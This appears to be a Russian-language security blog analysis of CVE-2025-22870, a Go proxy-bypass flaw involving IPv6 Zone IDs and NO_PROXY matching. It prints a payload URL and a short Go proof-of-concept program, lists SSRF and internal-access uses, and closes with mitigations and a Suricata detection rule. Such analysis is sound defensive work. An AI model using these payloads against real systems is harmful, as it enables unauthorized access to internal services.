Уязвимость BDU:2025-02476 (CVE-2025-22870) Go
Уязвимость BDU:2025-02476 (CVE-2025-22870) в пакетах net/http, x/net/proxy и x/net/http/httpproxy языка Go (BDU:2025-02476, CVE-2025-22870) позволяет злоумышленнику обойти ограничения прокси-сервера через некорректную обработку IPv6 Zone ID в NO_PROXY-правилах. Это приводит к несанкционированному доступу к внутренним ресурсам.
Анализ уязвимости
Уровень опасности: 4.4 MEDIUM
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
-
AV:L (Attack Vector): Локальный – Атака требует локального доступа к системе.
-
AC:L (Attack Complexity): Низкая – Эксплуатация не требует сложных условий.
-
PR:L (Privileges Required): Низкие привилегии – Достаточно базовых прав пользователя.
-
UI:N (User Interaction): Не требуется – Атака не требует взаимодействия с пользователем.
-
S:U (Scope): Не оказывает влияния на другие компоненты – Уязвимость ограничена целевым приложением.
-
C:L (Confidentiality): Частичная компрометация – Возможна утечка конфиденциальных данных.
-
I:N (Integrity): Без последствий – Целостность данных не нарушается.
-
A:L (Availability): Частичное снижение доступности – Возможны ограниченные DoS-эффекты.
Условия эксплуатации
-
Среда:
-
Приложение на Go версий 1.23.x (<1.23.7) или 1.24.0–1.24.1.
-
Использование переменных окружения
HTTP_PROXY/NO_PROXY(например,NO_PROXY=*.example.com).
-
-
Доступ:
-
Локальное размещение эксплоита или SSRF-доступ к уязвимому сервису.
-
-
Конфигурация:
-
Прокси-сервер, фильтрующий запросы к внутренним доменам через
NO_PROXY.
-
Технический анализ эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.
Payload
GET http://[::1%25.example.com]:7777 HTTP/1.1
-
::1– IPv6-адрес (localhost). -
%25– URL-кодированный символ%(разделитель Zone ID в IPv6). -
.example.com– Домен, разрешенный вNO_PROXY.
Уязвимый код httpproxy ошибочно интерпретирует ::1%25.example.com как поддомен *.example.com, пропуская запрос напрямую, минуя прокси.
Код эксплоита (CVE-2025-22870.go)
package main
import (
"fmt"
"io"
"net/http"
"os"
)
func main() {
os.Setenv("HTTP_PROXY", "http://127.0.0.1:8080") // Указание прокси
os.Setenv("NO_PROXY", "*.example.com") // Правило обхода прокси
client := &http.Client{} // HTTP-клиент с настройками прокси
// Отправка запроса к [::1] с Zone ID ".example.com"
resp, err := client.Get("http://[::1%25.example.com]:7777")
if err != nil {
fmt.Println("Error:", err)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body) // Чтение ответа
fmt.Println(string(body)) // Вывод данных (утечка информации)
}
Разбор:
-
Установка
NO_PROXY=*.example.comдолжна блокировать проксирование дляexample.com. -
Запрос к
[::1%25.example.com]обходит это правило из-за ошибки парсинга:-
Библиотека извлекает хост как
::1%25.example.com, трактуя%25.example.comкак часть Zone ID. -
Домен ошибочно сопоставляется с шаблоном
*.example.com.
-
-
Результат: запрос к
localhost:7777отправляется напрямую, а не через прокси.
Последствия эксплуатации
-
Обход сетевых ограничений:
-
Доступ к внутренним сервисам (базы данных, панели управления, API).
Пример: Запрос кhttp://[::1%25.internal]:5432может получить доступ к PostgreSQL.
-
-
SSRF-атаки:
-
Чтение конфиденциальных данных с localhost (например,
http://[::1%25.attacker.com]/admin).
-
-
Сканирование сети:
-
Обход прокси для доступа к ресурсам в защищенных сегментах (порты 22, 80, 8080).
-
-
DoS-воздействие:
-
Флудинг запросами к внутренним сервисам (например, уязвимым HTTP-серверам).
-
Способы защиты
-
Обновление Go:
-
Версии ≥1.23.7 или ≥1.24.2.
-
-
Валидация входных данных:
-
Отклонять запросы с IPv6 Zone ID в доменной части:
if strings.Contains(host, "%") { return errors.New("invalid host: IPv6 zone ID not allowed") } -
-
IPS-правило (модель Suricata):
alert http any any -> any any (msg:"CVE-2025-22870: IPv6 Zone ID Proxy Bypass Attempt"; flow:established,to_server; http.uri; content:"%25"; fast_pattern; content:"]"; distance:0; metadata:policy security-ips; sid:202502476; rev:1;) Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
Логика: Блокировка URL, содержащих
%25(кодированный%) перед закрывающей скобкой]. -
Ограничение зоны действия NO_PROXY:
-
Использовать явные IP-адреса вместо шаблонов (
NO_PROXY="127.0.0.1, ::1").
-
Приложения под угрозой
Библиотеки net/http и x/net/httpproxy используются в:
-
Веб-серверах (Traefik, Caddy).
-
Микросервисах на Go (Kubernetes-операторы, API-гейтвеи).
-
CLI-утилитах с сетевым функционалом (Docker, Terraform).
Заключение
Уязвимость актуальна для изолированных сред (например, контейнеры), где злоумышленник может развернуть эксплоит. Критична для систем, использующих NO_PROXY для защиты внутренних ресурсов. Рекомендуется срочное обновление Go и мониторинг HTTP-запросов с IPv6 Zone ID.